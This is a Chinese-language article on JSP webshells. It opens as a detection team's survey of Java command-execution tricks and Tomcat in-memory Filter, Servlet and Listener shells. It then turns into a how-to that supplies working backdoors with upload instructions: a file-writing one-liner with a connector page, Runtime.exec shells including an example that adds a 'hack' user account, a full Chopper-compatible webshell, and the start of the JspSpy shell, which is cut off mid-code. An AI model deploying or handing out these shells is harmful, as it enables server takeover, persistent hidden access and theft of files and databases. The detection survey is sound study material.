目前很多大型厂商都选择使用Java进行Web项目的开发,近年来随着各种JAVA指定环境RCE漏洞的出现,Java Web的安全逐渐被人们所重视,与漏洞相关的还有用于后期维持权限的Webshell。与PHP不同的是,JSP的语言特性较为严格,属于强类型语言,并且在JDK9以前并没有所谓的eval函数。一般而言JSP的变形免杀较为困难,但是依旧存在很多的”黑魔法”。

不知攻,焉知防。阿里云安骑士Webshell检测系统在迭代升级过程中,除了内部的不断绕过尝试以外,也长期邀请大量白帽子进行持续的绕过测试。经过不断总结沉淀在JSP Webshell查杀引擎方面我们形成了基于字节码跟反汇编代码的检测方式,可以有效对抗云上高强度对抗性样本。

一、JSP的命令执行

JSP全称”Java Server Page”,其本质是一种Java Servlet。

JSP在第一次被访问的时候会先被翻译成Java文件,这个步骤由Tomcat等web容器完成;接着Java文件会被编译成JVM可以识别的class文件,这个步骤由JDK完成。

JSP WebShell案例请参考:

GitHub - threedr3am/JSP-WebShells: Collect JSP webshell of various implementation methods. 收集JSP Webshell的各种姿势

直接调用

常见的直接调用是通过 java.lang.Runtime#exec和java.lang.ProcessBuilder#start

java.lang.Runtime

java.lang.ProcessBuilder

反射调用

反射可以说是Java中最强大的技术,很多优秀的框架都是通过反射完成的。一般的类都是在编译期就确定下来并装载到JVM中,但是通过反射我们就可以实现类的动态加载。如果查阅源码可以发现,图中提到的很多命令执行方式的底层都是反射。

因为反射可以把我们所要调用的类跟函数放到一个字符串的位置,这样我们就可以利用各种字符串变形甚至自定义的加解密函数来实现对恶意类的隐藏。

除此以外,反射可以直接调用各种私有类方法,文章接下来的部分会让大家进一步体会到反射的强大。

加载字节码

说到加载字节码就必须提到java.lang.ClassLoader这个抽象类,其作用主要是将 class 文件加载到 jvm 虚拟机中去,里面有几个重要的方法。

  • loadClass(),加载一个类,该方法会先查看目标类是否已经被加载,查看父级加载器并递归调用loadClass(),如果都没找到则调用findClass()。
  • findClass(),根据类的名称或位置加载.class字节码文件,获取字节码数组,然后调用defineClass()。
  • defineClass(),将字节码加载到jvm中去,转化为Class对象

详情参考:Java动态类加载,当FastJson遇到内网 - 知乎

调用defineClass

提到defineClass就想到了冰蝎,冰蝎可以说是第一个实现JSP一句话的Webshell管理工具。其中defineClass这个函数是冰蝎实现的核心。

因为java在1.8以前并没有像php的eval函数,所以要实现动态执行payload就要另外想办法。因为java世界中所有的执行都是依赖于字节码,不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。所以如果可以让服务端做到动态地将字节码解析成Class,就可以实现“JSP一句话”的效果。

正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class。但是因为该方法是protected的,我们没办法在外部直接调用。这里就有两种处理办法:

第一种是继承,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。这种方式比较简单,所以原版冰蝎中采用的这种办法。

第二种是反射,通过反射来修改保护属性,从而调用defineClass。

以下为蚁剑基于冰蝎的原理实现的JSP一句话样本。利用ClassLoader类中的defineClass,我们就可以把一个自定义的类传入并加载。

BCEL字节码

这个就是一个比较神奇的类了,可以直接通过classname来进行字节码的加载。

查看loadClass方法的源码,发现会判断传入的bcelcode是否有”$$BCEL$$”这个字符串,就会将后面的内容转换成标准字节码,然后使用defineClass进行加载。

protected Class loadClass(String class_name, boolean resolve)throws ClassNotFoundException{
...if(cl == null) {JavaClass clazz = null;/* Third try: Special request?*/if(class_name.indexOf("$$BCEL$$") >= 0)clazz = createClass(class_name);else { // Fourth try: Load classes via repositoryif ((clazz = repository.loadClass(class_name)) != null) {clazz = modifyClass(clazz);}elsethrow new ClassNotFoundException(class_name);}if(clazz != null) {byte[] bytes  = clazz.getBytes();cl = defineClass(class_name, bytes, 0, bytes.length);} else // Fourth try: Use default class loadercl = Class.forName(class_name);}if(resolve)resolveClass(cl);}

URLClassLoader远程加载

URLClassLoader是ClassLoader的子类,它用于从指定的目录或者URL路径加载类和资源。当URL里的参数是由”http://”开头时,会加载URL路径下的类。

URLClassLoader本地加载

当URL里的参数是由”file://”开头时,会加载本地路径下的类。

由于加载的字节码是固定的并且不可直接修改,没办法直接实现对命令的动态解析。要么配合冰蝎一样的客户端,每次都调用ASM等字节码框架动态生成字节码传过去,要么就想其他办法把我们要执行的指令传递进去。

这个例子利用了一个很巧妙的方法:把收到的指令拼凑成源代码后直接在服务端进行编译,然后写入到本地文件中,再利用URLClassLoader对写入的文件进行加载。

表达式类调用

ScriptEngineManager

通过ScriptEngineManager这个类可以实现Java跟JS的相互调用,虽然Java自己没有eval函数,但是ScriptEngineManager有eval函数,并且可以直接调用Java对象,也就相当于间接实现了Java的eval功能。但是写出来的代码必须是JS风格的,不够正宗,所以将这部分归类为“表达式类调用”部分。

EL表达式

表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。

除了ScriptEngineManager以外,ELProcessor也有自己的eval函数,并且可以调用Java对象执行命令。

Expression

java.beans.Expression同样可以实现命令执行,第一个参数是目标对象,第二个参数是所要调用的目标对象的方法,第三个参数是参数数组。这个类的优势是可以把要执行的方法放到一个字符串的位置,不过限制就是第一个参数必须是Object。不过我们可以配合反射将Runtime类的关键字给隐藏掉。

除了上面提到的以外还有OGNL(Struct),SpEL(Spring)等表达式,但不是jdk自带的,在这里不予分析。

反序列化

序列化的过程是保存对象的过程,与之相反的,反序列化就是把对象还原的过程。在这里提到的反序列化并不仅仅指直接ObjectInputStream读入二进制流,利用XML/XSLT同样可以使保存的对象还原,达到反序列化的目的。

重写ObjectInputStream的resolveClass

XMLDecoder

XMLDecoder可以将XMLEncoder创建的xml文档内容反序列化为一个Java对象,研究过Weblogic系列漏洞的同学对这个类一定不陌生。通过传入恶意的XML文档即可实现任意命令的执行。

XSLT

XSL 指扩展样式表语言(EXtensible Stylesheet Language), 它是一个 XML 文档的样式表语言。通过构建恶意的模板让Webshell来解析,同样可以达到命令执行的目的。

JNDI注入

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

提到jndi注入就想到了fastjson,通过lookup一个恶意的远程Java对象即可达到任意命令执行。相关的文章已有很多,这里不再赘述。

JNI调用

JNI全称 Java Native Interface,通过JNI接口可以调用C/C++方法,同样可以实现命令执行的目的。

详细介绍:JNI 安全基础 · 攻击Java Web应用-[Java Web安全]

JShell

JShell 是 Java 9 新增的一个交互式的编程环境工具。与 Python 的解释器类似,可以直接输入表达式并查看其执行结果。

但是由于JDK8跟JDK9之间更改幅度较大,目前来说并没有普遍使用,所以暂时实战效果并不明显。

二、JSP内存马

内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

本部分主要讲一讲三种Tomcat内存Webshell。

Container – 容器组件

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的。

  • Engine:最顶层容器组件,其下可以包含多个 Host。
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
  • Wrapper:一个 Wrapper 代表一个 Servlet。

Filter Servlet Listener

  • Servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。
  • Filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
  • Listener:通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。

三者的生命周期

详情参考:

基于Tomcat无文件Webshell研究

Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

  • 装入:启动服务器时加载Servlet的实例
  • 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
  • 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
  • 销毁:停止服务器时调用destroy()方法,销毁实例

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。

  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。

  • 每次请求创建时调用requestInitialized()。
  • 每次请求销毁时调用requestDestroyed()。

最后要注意的是,web.xml对于这三种组件的加载顺序是:listener -> filter -> servlet,也就是说listener的优先级为三者中最高的。

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

通过下面的图可以很清晰的看到两者之间的关系。

如何获取StandardContext

  • 由ServletContext转StandardContext

如果可以直接获取到request对象的话可以用这种方法:

从线程中获取StandardContext,如果没有request对象的话可以从当前线程中获取。

详情参考:

Tomcat的一种通用回显方法研究 - 知乎

从MBean中获取。

详情参考:

https://scriptboy.cn/p/tomcat-filter-inject/

Filter型

注册流程

首先我们看下正常的一个filter的注册流程是什么。先写一个filter,实现Filter接口。

package com.yzddmr6;import javax.servlet.*;
import java.io.IOException;public class filterDemo implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter初始化创建....");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException {System.out.println("进行过滤操作......");// 放行chain.doFilter(request, response);}@Overridepublic void destroy() {}}

在web.xml中添加filter的配置:

然后调试看一下堆栈信息,找到filterChain生效的过程。

然后看看这个filterChain是怎么来的。

查看org.apache.catalina.core.ApplicationFilterFactory#createFilterChain源代码:


...filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());StandardContext context = (StandardContext)wrapper.getParent();FilterMap[] filterMaps = context.findFilterMaps();if (filterMaps != null && filterMaps.length != 0) {DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");String requestPath = null;Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");if (attribute != null) {requestPath = attribute.toString();}String servletName = wrapper.getName();int i;ApplicationFilterConfig filterConfig;for(i = 0; i < filterMaps.length; ++i) {if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersURL(filterMaps[i], requestPath)) {filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());if (filterConfig != null) {filterChain.addFilter(filterConfig);}}}for(i = 0; i < filterMaps.length; ++i) {if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersServlet(filterMaps[i], servletName)) {filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());if (filterConfig != null) {filterChain.addFilter(filterConfig);}}}return filterChain;} else {return filterChain;}}
...

到这里就要掰扯一下这三个的关系:filterConfig、filterMaps跟filterDefs。

filterConfig、filterMaps、filterDefs

直接查看此时StandardContext的内容,我们会有一个更直观的了解。

注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。其中filterDefs存放了filter的定义,比如名称跟对应的类,对应web.xml中如下的内容:

<filter><filter-name>filterDemo</filter-name><filter-class>com.yzddmr6.filterDemo</filter-class>
</filter>

filterConfigs除了存放了filterDef还保存了当时的Context,从下面两幅图可以看到两个context是同一个东西。

FilterMaps则对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序。

即对应web.xml中的如下内容:

<filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>

都添加完之后, 调用doFilter ,进入过滤阶段。

实现步骤

综上所述,如果要实现filter型内存马要经过如下步骤:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

Servlet型

注册流程:

这次我们换种方式:不进行一步步的调试,直接查看添加一个servlet后StandardContext的变化。

<servlet><servlet-name>servletDemo</servlet-name><servlet-class>com.yzddmr6.servletDemo</servlet-class></servlet><servlet-mapping><servlet-name>servletDemo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>

可以看到我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装。

一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:

<servlet><servlet-name>servletDemo</servlet-name><servlet-class>com.yzddmr6.servletDemo</servlet-class></servlet>

类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系。

servletMappings对应配置文件中的如下节点:

<servlet-mapping><servlet-name>servletDemo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>

实现步骤

所以综上所述,Servlet型内存Webshell的主要步骤如下:

  • 创建恶意Servlet
  • 用Wrapper对其进行封装
  • 添加封装后的恶意Wrapper到StandardContext的children当中
  • 添加ServletMapping将访问的URL和Servlet进行绑定

Listener型

目前公开提到的只有Filter Servlet两种内存Webshell,但是实际上通过Listener也可以实现内存马。并且Listener型webshell在三者中的优先级最高,所以危害其实是更大的。

详情参考:

Java中的Listener 监听器 | 李天炜

Listener的分类

Listener主要分为以下三个大类:

  • ServletContext监听
  • Session监听
  • Request监听

其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面,其中最适合作为Webshell的要数ServletRequestListener,因为我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

实现步骤

在ServletContext中可以看到addListener方法,发现此方法在ApplicationContext实现。

javax.servlet.ServletContext#addListener(java.lang.String)

跟进org.apache.catalina.core.ApplicationContext#addListener(java.lang.String),发现调用了同类中的重载方法。

跟进org.apache.catalina.core.ApplicationContext#addListener(T),发现遇到了跟添加filter很相似的情况,在开始会先判断Tomcat当前的生命周期是否正确,否则就抛出异常。实际上最核心的代码是调用了 this.context.addApplicationEventListener(t),所以我们只需要反射调用addApplicationEventListener既可达到我们的目的。

public <T extends EventListener> void addListener(T t) {if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {throw new IllegalStateException(sm.getString("applicationContext.addListener.ise", new Object[]{this.getContextPath()}));} else {boolean match = false;if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener || t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener || t instanceof HttpSessionAttributeListener) {this.context.addApplicationEventListener(t);match = true;}if (t instanceof HttpSessionListener || t instanceof ServletContextListener && this.newServletContextListenerAllowed) {this.context.addApplicationLifecycleListener(t);match = true;}if (!match) {if (t instanceof ServletContextListener) {throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.sclNotAllowed", new Object[]{t.getClass().getName()}));} else {throw new IllegalArgumentException(sm.getString("applicationContext.addListener.iae.wrongType", new Object[]{t.getClass().getName()}));}}}}

综上所述,Listener类型Webshell的实现步骤如下:

  • 创建恶意Listener
  • 将其添加到ApplicationEventListener中去

Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。

实现效果

首先注入一个恶意的listener事件监听器:

访问内存Webshell,一片空白说明注入成功。

在任意路径下加上?mr6=xxx即可执行命令。

三、JSP WebShell 后门脚本

先把下面的代码保存为 one.jsp (该代码的作用是可以在当前目录下生成另外一个指定的文件),然后上传到服务器。

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 

然后将下面的代码保存为 .html 格式的,直接双击本地打开。这是作为客户端去连接我们刚刚上传的one.jsp的。

<html><head><title>JSP一句话木马客户端</title></head><div align=center>  <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text>  <br><br><textarea name=t rows=20 cols=120>你要提交到服务器的代码</textarea><br>要保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form>  <br>服务端代码:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>   </textarea>  </div></body> 

我们双击打开该html文件。

无回显执行命令

将下面的命令保存为 a.jsp,然后上传到服务器。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

访问链接:http://127.0.0.1:8080/EShop/a.jsp?i=net user hack 123 /add

有回显带密码执行命令

将下面的命令保存为 b.jsp,然后上传到服务器。

<%if("b".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

访问链接:http://127.0.0.1:8080/EShop/b.jsp?pwd=b&i=ipconfig

JSP一句话木马

将下面保存为shell.jsp,上传到服务器,然后用菜刀连接即可。

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass";     //菜刀连接密码String EC(String s, String c) throws Exception {return s;}//new String(s.getBytes("ISO-8859-1"),c);}Connection GC(String s) throws Exception {String[] x = s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c = DriverManager.getConnection(x[1].trim());if (x.length > 2) {c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";int n;File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] t = { "TABLE" };ResultSet r = c.getMetaData().getTables(null, null, "%", t);while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[3]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {int i;Connection c = GC(s);Statement m = c.createStatement(1005, 1008);try {ResultSet r = m.executeQuery(q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");while (r.next()) {for (i = 1; i <= n; i++) {sb.append(EC(r.getString(i), cs) + "\t|\t");}sb.append("\r\n");}r.close();} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}%>
<%String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);String Z = EC(request.getParameter(Pwd) + "", cs);String z1 = EC(request.getParameter("z1") + "", cs);String z2 = EC(request.getParameter("z2") + "", cs);StringBuffer sb = new StringBuffer("");try {sb.append("->" + "|");if (Z.equals("A")) {String s = new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb);}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());
%>

JSP的大马

<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.p_w_picpath.*"%>
<%@page import="javax.p_w_picpathio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
/**
* Code By Ninty
* Date 2009-12-17
* Blog http://www.Forjj.com/
* Yue . I Love You.
*/
private static final String PW = "hucyuansheng"; //password
private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
private static final String REQUEST_CHARSET = "ISO-8859-1";
private static final String PAGE_CHARSET = "UTF-8";
private static final String CURRENT_DIR = "currentdir";
private static final String MSG = "SHOWMSG";
private static final String PORT_MAP = "PMSA";
private static final String DBO = "DBO";
private static final String SHELL_ONLINE = "SHELL_ONLINE";
private static String SHELL_NAME = "";
private static String WEB_ROOT = null;
private static String SHELL_DIR = null;
public static Map<String,Invoker> ins = new HashMap<String,Invoker>();
private static class MyRequest extends HttpServletRequestWrapper {
public MyRequest(HttpServletRequest req) {
super(req);
}
public String getParameter(String name) {
try {
String value = super.getParameter(name);
if (name == null)
return null;
return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
} catch (Exception e) {
return null;
}
}
}
private static class DBOperator{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean equals(Object o) {
if (o instanceof DBOperator) {
DBOperator dbo = (DBOperator)o;
return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
}
return false;
}
}
private static class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;
public StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
public void run(){
BufferedReader in  = null;
BufferedWriter out = null;
try{
in  = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while((length = in.read( buffer, 0, buffer.length ))>0){
out.write( buffer, 0, length );
out.flush();
}
} catch(Exception e){}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){}
}
}
private static class OnLineProcess {
private String cmd = "first";
private Process pro;
public OnLineProcess(Process p){
this.pro = p;
}
public void setPro(Process p) {
this.pro = p;
}
public void setCmd(String c){
this.cmd = c;
}
public String getCmd(){
return this.cmd;
}
public Process getPro(){
return this.pro;
}
public void stop(){
this.pro.destroy();
}
}
private static class OnLineConnector extends Thread {
private OnLineProcess ol = null;
private InputStream is;
private OutputStream os;
private String name;
public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
this.is = is;
this.os = os;
this.name = name;
this.ol = ol;
}
public void run(){
BufferedReader in  = null;
BufferedWriter out = null;
try{
in  = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[128];
if(this.name.equals("exeRclientO")) {
//from exe to client
int length = 0;
while((length = in.read( buffer, 0, buffer.length ))>0){
String str = new String(buffer, 0, length);
str = str.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;");
str = str.replace(""+(char)13+(char)10,"<br/>");
str = str.replace("\n","<br/>");
out.write(str.toCharArray(), 0, str.length());
out.flush();
}
} else {
//from client to exe
while(true) {
while(this.ol.getCmd() == null) {
Thread.sleep(500);
}
if (this.ol.getCmd().equals("first")) {
this.ol.setCmd(null);
continue;
}
this.ol.setCmd(this.ol.getCmd() + (char)10);
char[] arr = this.ol.getCmd().toCharArray();
out.write(arr,0,arr.length);
out.flush();
this.ol.setCmd(null);
}
}
} catch(Exception e){
}
try{
if(in != null)
in.close();
if(out != null)
out.close();
